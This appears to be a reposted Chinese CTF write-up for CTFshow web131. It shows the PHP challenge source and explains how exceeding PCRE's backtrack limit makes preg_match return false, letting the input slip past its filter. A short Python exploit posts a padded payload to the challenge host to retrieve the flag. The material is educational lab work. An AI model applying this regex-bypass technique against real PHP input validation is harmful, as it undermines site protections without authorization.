CTFshow php特性 web131
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web131
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
目錄
- 源碼
- 思路
- 題解
- 總結(jié)
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40*/error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){$f = (String)$_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f,'36Dctfshow') === FALSE){die('bye!!');}echo $flag;}思路
第一層過濾繞過很簡(jiǎn)單,什么都不加就好了
但是第二層繞過得加上36D不然就會(huì)返回flase,看起來是無解的,我們可以用PRRE回溯來繞過
知識(shí)點(diǎn)
常見的正則引擎
由于 NFA 的執(zhí)行過程存在回溯,所以其性能會(huì)劣于 DFA,但它支持更多功能。大多數(shù)程序語言都使用了 NFA 作為正則引擎,其中也包括 PHP 使用的 PCRE 庫。PHP 為了防止正則表達(dá)式的拒絕服務(wù)攻擊(reDOS),給 pcre 設(shè)定了一個(gè)回溯次數(shù)上限 pcre.backtrack_limit(100萬次),突破這個(gè)限制pcre_match就不會(huì)返回非 1 和 0,而是 false。
題解
exp
import requestsurl="http://17e66580-d7b0-4cf7-a5c7-635cc75c05a4.challenge.ctf.show/"data={'f':'kradress'*130000+'36Dctfshow' }res=requests.post(url,data=data)print(res.text)總結(jié)
水題
總結(jié)
以上是生活随笔為你收集整理的CTFshow php特性 web131的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web127
- 下一篇: CTFshow php特性 web132